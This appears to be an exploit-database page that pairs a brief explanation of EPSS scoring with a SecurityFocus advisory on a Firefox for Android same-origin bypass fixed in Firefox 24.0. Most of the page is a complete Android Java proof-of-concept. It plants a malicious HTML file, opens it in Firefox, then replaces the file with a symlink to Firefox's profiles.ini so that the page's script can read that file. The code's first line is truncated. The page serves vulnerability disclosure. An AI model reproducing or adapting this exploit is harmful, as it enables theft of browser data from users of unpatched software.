EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/62480/info Mozilla Firefox is prone to a security-bypass vulnerability. Attackers can exploit this issue to bypass the same-origin policy and certain access restrictions to access data, or execute arbitrary script code in the browser of an unsuspecting user in the context of another site. This could be used to steal sensitive information or launch other attacks. Note: This issue was previously discussed in BID 62447 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2013-76 through -92 Multiple Vulnerabilities), but has been moved to its own record to better document it. This issue is fixed in Firefox 24.0. ckage jp.mbsd.terada.attackfirefox1; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.content.Intent; public class MainActivity extends Activity { public final static String MY_PKG = "jp.mbsd.terada.attackfirefox1"; public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/"; public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html"; public final static String TARGET_PKG = "org.mozilla.firefox"; public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/files/mozilla/profiles.ini"; public final static String HTML = "<u>Wait a few seconds.</u>" + "<script>" + "function doit() {" + " var xhr = new XMLHttpRequest;" + " xhr.onload = function() {" + " alert(xhr.responseText);" + " };" + " xhr.open('GET', document.URL);" + " xhr.send(null);" + "}" + "setTimeout(doit, 8000);" + "</script>"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); doit(); } public void doit() { try { // create a malicious HTML cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); // force Firefox to load the malicious HTML invokeFirefox("file://" + HTML_PATH); Thread.sleep(4000); // replace the HTML with a symbolic link to profiles.ini cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH); } catch (Exception e) {} } public void invokeFirefox(String url) { Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); intent.setClassName(TARGET_PKG, TARGET_PKG + ".App"); startActivity(intent); } public void cmdexec(String cmd) { try { String[] tmp = new String[] {"/system/bin/sh", "-c", cmd}; Runtime.getRuntime().exec(tmp); } catch (Exception e) {} } }
